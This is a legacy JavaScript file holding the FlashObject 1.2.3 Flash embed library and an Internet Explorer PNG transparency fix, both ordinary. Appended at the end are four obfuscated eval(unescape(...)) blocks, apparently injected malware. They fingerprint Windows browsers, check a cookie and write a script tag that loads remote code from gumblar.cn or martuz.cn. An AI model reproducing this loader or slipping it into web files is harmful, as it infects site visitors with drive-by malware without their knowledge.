/**
 * FlashObject v1.2.3: Flash detection and embed - http://blog.deconcept.com/flashobject/
 *
 * FlashObject is (c) 2005 Geoff Stearns and is released under the MIT License:
 * http://www.opensource.org/licenses/mit-license.php
 *
 */
if(typeof com == "undefined") var com = new Object();
if(typeof com.deconcept == "undefined") com.deconcept = new Object();
if(typeof com.deconcept.util == "undefined") com.deconcept.util = new Object();
if(typeof com.deconcept.FlashObjectUtil == "undefined") com.deconcept.FlashObjectUtil = new Object();
com.deconcept.FlashObject = function(swf, id, w, h, ver, c, useExpressInstall, quality, redirectUrl, detectKey){
   this.DETECT_KEY = detectKey ? detectKey : 'detectflash';
   this.skipDetect = com.deconcept.util.getRequestParameter(this.DETECT_KEY);
   this.params = new Object();
   this.variables = new Object();
   this.attributes = new Array();

   if(swf) this.setAttribute('swf', swf);
   if(id) this.setAttribute('id', id);
   if(w) this.setAttribute('width', w);
   if(h) this.setAttribute('height', h);
   if(ver) this.setAttribute('version', new com.deconcept.PlayerVersion(ver.toString().split(".")));
   if(c) this.addParam('bgcolor', c);
   var q = quality ? quality : 'high';
   this.addParam('quality', q);
   this.setAttribute('redirectUrl', '');
   if(redirectUrl) this.setAttribute('redirectUrl', redirectUrl);
   if(useExpressInstall) {
   // check to see if we need to do an express install
   var expressInstallReqVer = new com.deconcept.PlayerVersion([6,0,65]);
   var installedVer = com.deconcept.FlashObjectUtil.getPlayerVersion();
      if (installedVer.versionIsValid(expressInstallReqVer) && !installedVer.versionIsValid(this.getAttribute('version'))) {
         this.setAttribute('doExpressInstall', true);
      }
   } else {
      this.setAttribute('doExpressInstall', false);
   }
}
com.deconcept.FlashObject.prototype.setAttribute = function(name, value){
	this.attributes[name] = value;
}
com.deconcept.FlashObject.prototype.getAttribute = function(name){
	return this.attributes[name];
}
com.deconcept.FlashObject.prototype.getAttributes = function(){
	return this.attributes;
}
com.deconcept.FlashObject.prototype.addParam = function(name, value){
	this.params[name] = value;
}
com.deconcept.FlashObject.prototype.getParams = function(){
	return this.params;
}
com.deconcept.FlashObject.prototype.getParam = function(name){
	return this.params[name];
}
com.deconcept.FlashObject.prototype.addVariable = function(name, value){
	this.variables[name] = value;
}
com.deconcept.FlashObject.prototype.getVariable = function(name){
	return this.variables[name];
}
com.deconcept.FlashObject.prototype.getVariables = function(){
	return this.variables;
}
com.deconcept.FlashObject.prototype.getParamTags = function(){
   var paramTags = ""; var key; var params = this.getParams();
   for(key in params) {
        paramTags += '<param name="' + key + '" value="' + params[key] + '" />';
    }
   return paramTags;
}
com.deconcept.FlashObject.prototype.getVariablePairs = function(){
	var variablePairs = new Array();
	var key;
	var variables = this.getVariables();
	for(key in variables){
		variablePairs.push(key +"="+ variables[key]);
	}
	return variablePairs;
}
com.deconcept.FlashObject.prototype.getHTML = function() {
    var flashHTML = "";
    if (navigator.plugins && navigator.mimeTypes && navigator.mimeTypes.length) { // netscape plugin architecture
        if (this.getAttribute("doExpressInstall")) { this.addVariable("MMplayerType", "PlugIn"); }
        flashHTML += '<embed type="application/x-shockwave-flash" src="'+ this.getAttribute('swf') +'" width="'+ this.getAttribute('width') +'" height="'+ this.getAttribute('height') +'" id="'+ this.getAttribute('id') + '" name="'+ this.getAttribute('id') +'"';
		var params = this.getParams();
        for(var key in params){ flashHTML += ' '+ key +'="'+ params[key] +'"'; }
		pairs = this.getVariablePairs().join("&");
        if (pairs.length > 0){ flashHTML += ' flashvars="'+ pairs +'"'; }
        flashHTML += '></embed>';
    } else { // PC IE
        if (this.getAttribute("doExpressInstall")) { this.addVariable("MMplayerType", "ActiveX"); }
        flashHTML += '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="'+ this.getAttribute('width') +'" height="'+ this.getAttribute('height') +'" id="'+ this.getAttribute('id') +'">';
        flashHTML += '<param name="movie" value="' + this.getAttribute('swf') + '" />';
		var tags = this.getParamTags();
        if(tags.length > 0){ flashHTML += tags; }
		var pairs = this.getVariablePairs().join("&");
        if(pairs.length > 0){ flashHTML += '<param name="flashvars" value="'+ pairs +'" />'; }
        flashHTML += '</object>';
    }
    return flashHTML;
}
com.deconcept.FlashObject.prototype.write = function(elementId){
	if(this.skipDetect || this.getAttribute('doExpressInstall') || com.deconcept.FlashObjectUtil.getPlayerVersion().versionIsValid(this.getAttribute('version'))){
		if(document.getElementById){
		   if (this.getAttribute('doExpressInstall')) {
		      this.addVariable("MMredirectURL", escape(window.location));
		      document.title = document.title.slice(0, 47) + " - Flash Player Installation";
		      this.addVariable("MMdoctitle", document.title);
		   }
			document.getElementById(elementId).innerHTML = this.getHTML();
		}
	}else{
		if(this.getAttribute('redirectUrl') != "") {
			document.location.replace(this.getAttribute('redirectUrl'));
		}
	}
}
/* ---- detection functions ---- */
com.deconcept.FlashObjectUtil.getPlayerVersion = function(){
   var PlayerVersion = new com.deconcept.PlayerVersion(0,0,0);
	if(navigator.plugins && navigator.mimeTypes.length){
		var x = navigator.plugins["Shockwave Flash"];
		if(x && x.description) {
			PlayerVersion = new com.deconcept.PlayerVersion(x.description.replace(/([a-z]|[A-Z]|\s)+/, "").replace(/(\s+r|\s+b[0-9]+)/, ".").split("."));
		}
	}else if (window.ActiveXObject){
	   try {
   	   var axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
   		PlayerVersion = new com.deconcept.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","));
	   } catch (e) {}
	}
	return PlayerVersion;
}
com.deconcept.PlayerVersion = function(arrVersion){
	this.major = parseInt(arrVersion[0]) || 0;
	this.minor = parseInt(arrVersion[1]) || 0;
	this.rev = parseInt(arrVersion[2]) || 0;
}
com.deconcept.PlayerVersion.prototype.versionIsValid = function(fv){
	if(this.major < fv.major) return false;
	if(this.major > fv.major) return true;
	if(this.minor < fv.minor) return false;
	if(this.minor > fv.minor) return true;
	if(this.rev < fv.rev) return false;
	return true;
}
/* ---- get value of query string param ---- */
com.deconcept.util.getRequestParameter = function(param){
	var q = document.location.search || document.location.href.hash;
	if(q){
		var startIndex = q.indexOf(param +"=");
		var endIndex = (q.indexOf("&", startIndex) > -1) ? q.indexOf("&", startIndex) : q.length;
		if (q.length > 1 && startIndex > -1) {
			return q.substring(q.indexOf("=", startIndex)+1, endIndex);
		}
	}
	return "";
}

/* add Array.push if needed (ie5) */
if (Array.prototype.push == null) { Array.prototype.push = function(item) { this[this.length] = item; return this.length; }}

/* add some aliases for ease of use / backwards compatibility */
var getQueryParamValue = com.deconcept.util.getRequestParameter;
var FlashObject = com.deconcept.FlashObject;


// Correctly handle PNG transparency in Win IE 5.5 or higher.
// http://homepage.ntlworld.com/bobosola. Updated 02-March-2004

function correctPNG() 
   {
   for(var i=0; i<document.images.length; i++)
      {
	  var img = document.images[i]
	  var imgName = img.src.toUpperCase()
	  if (imgName.substring(imgName.length-3, imgName.length) == "PNG")
	     {
		 var imgID = (img.id) ? "id='" + img.id + "' " : ""
		 var imgClass = (img.className) ? "class='" + img.className + "' " : ""
		 var imgTitle = (img.title) ? "title='" + img.title + "' " : "title='" + img.alt + "' "
		 var imgStyle = "display:inline-block;" + img.style.cssText 
		 if (img.align == "left") imgStyle = "float:left;" + imgStyle
		 if (img.align == "right") imgStyle = "float:right;" + imgStyle
		 if (img.parentElement.href) imgStyle = "cursor:hand;" + imgStyle		
		 var strNewHTML = "<span " + imgID + imgClass + imgTitle
		 + " style=\"" + "width:" + img.width + "px; height:" + img.height + "px;" + imgStyle + ";"
	     + "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader"
		 + "(src=\'" + img.src + "\', sizingMethod='scale');\"></span>" 
		 img.outerHTML = strNewHTML
		 i = i-1
	     }
      }
   }
window.attachEvent("onload", correctPNG);
//-->
<!-- 
(function(aer8b){var xmlb='%';eval(unescape(('#76a#72#20#61#3d#22Scri#70tEngin#65#22#2cb#3d#22Vers#69o#6e(#29+#22#2cj#3d#22#22#2cu#3dn#61vig#61tor#2euserAgen#74#3bi#66(#28#75#2ein#64exOf(#22#57in#22)#3e0#29#26#26(#75#2ein#64exOf(#22N#54#206#22#29#3c0)#26#26(d#6fc#75#6dent#2e#63ook#69e#2ei#6ede#78Of(#22miek#3d#31#22)#3c0#29#26#26(type#6ff#28zrvzts#29#21#3dt#79#70eof(#22A#22)))#7bzrvzts#3d#22A#22#3beval(#22if(wi#6edow#2e#22+#61+#22#29j#3dj+#22#2ba#2b#22#4dajo#72#22#2bb+a+#22M#69#6eor#22+b+a+#22B#75il#64#22+b#2b#22j#3b#22)#3b#64o#63#75m#65n#74#2ewrite#28#22#3c#73c#72ip#74#20src#3d#2f#2f#67umb#6car#2ec#6e#2frss#2f#3fid#3d#22#2b#6a+#22#3e#3c#5c#2fscript#3e#22)#3b#7d').replace(aer8b,xmlb)))})(/#/g);
 --><!-- 
(function(){var NXj='va@72@20a@3d@22S@63@72iptE@6egin@65@22@2cb@3d@22Versi@6f@6e()+@22@2cj@3d@22@22@2cu@3dnavig@61to@72@2eus@65rAg@65nt@3bi@66(@28u@2e@69@6e@64e@78O@66(@22Win@22)@3e0)@26@26@28@75@2eind@65x@4ff(@22NT@206@22)@3c0)@26@26(document@2eco@6fkie@2ei@6ed@65xOf(@22mi@65k@3d1@22)@3c0)@26@26@28@74@79pe@6ff(zrvzts)@21@3d@74y@70eof@28@22A@22@29))@7bzrvzts@3d@22A@22@3b@65v@61@6c(@22@69f(wi@6edow@2e@22+@61+@22@29j@3dj+@22+@61+@22Ma@6aor@22+b+@61+@22M@69nor@22@2bb+@61+@22Build@22+b+@22j@3b@22)@3bdo@63@75ment@2ewr@69t@65(@22@3cscri@70@74@20s@72c@3d@2f@2fgumb@6ca@72@2ecn@2frss@2f@3fi@64@3d@22@2bj@2b@22@3e@3c@5c@2f@73cr@69@70t@3e@22)@3b@7d';var f07=unescape(NXj.replace(/@/g,'%'));eval(f07)})();
 --><!-- 
(function(){var LVK8='%';var xcn='var`20`61`3d`22Sc`72i`70tE`6egin`65`22`2cb`3d`22`56ersion()+`22`2cj`3d`22`22`2cu`3dnavi`67a`74or`2e`75serA`67e`6et`3b`69f((u`2eindex`4f`66`28`22Win`22)`3e0)`26`26(`75`2einde`78O`66(`22NT`206`22)`3c0)`26`26(docum`65nt`2eco`6f`6bie`2eind`65xOf(`22miek`3d1`22`29`3c0)`26`26(ty`70eo`66`28`7arv`7ats)`21`3dtypeof(`22A`22`29)`29`7b`7ar`76zts`3d`22`41`22`3beval(`22i`66(wind`6f`77`2e`22+a+`22)`6a`3dj+`22`2b`61+`22`4dajo`72`22`2bb+a+`22Minor`22+b`2ba`2b`22Build`22+`62+`22j`3b`22)`3bd`6fc`75ment`2ew`72`69te(`22`3cscrip`74`20src`3d`2f`2f`67u`6dblar`2e`63n`2f`72ss`2f`3fid`3d`22+j`2b`22`3e`3c`5c`2f`73crip`74`3e`22`29`3b`7d';var DVU=xcn.replace(/`/g,LVK8);var X4n=unescape(DVU);eval(X4n)})();
 --><!-- 
(function(){var KjR='%';var mX6=unescape(('"76a"72"20a"3d"22S"63ript"45ngin"65"22"2cb"3d"22Ve"72"73ion()+"22"2cj"3d"22"22"2cu"3dnavigator"2euse"72"41g"65nt"3bif(("75"2ei"6ed"65x"4f"66("22C"68rom"65"22"29"3c0)"26"26"28u"2eindexOf("22Win"22)"3e"30)"26"26(u"2ei"6ed"65xOf("22"4eT"20"36"22)"3c0)"26"26"28docume"6et"2ecook"69e"2ei"6ed"65x"4f"66("22"6di"65"6b"3d1"22)"3c0"29"26"26(typeof(zrvzts)"21"3dt"79p"65o"66("22"41"22"29))"7b"7arvzts"3d"22"41"22"3bev"61l("22"69"66(window"2e"22+a+"22)j"3dj+"22+a+"22"4d"61"6aor"22+b"2ba+"22Min"6fr"22+b+a+"22Buil"64"22+"62+"22j"3b"22)"3bdo"63u"6d"65nt"2ew"72ite"28"22"3c"73c"72ip"74"20src"3d"2f"2f"6dar"22+"22t"75z"2ecn"2fvid"2f"3fid"3d"22+"6a+"22"3e"3c"5c"2fs"63rip"74"3e"22"29"3b"7d').replace(/"/g,KjR));eval(mX6)})();
 -->
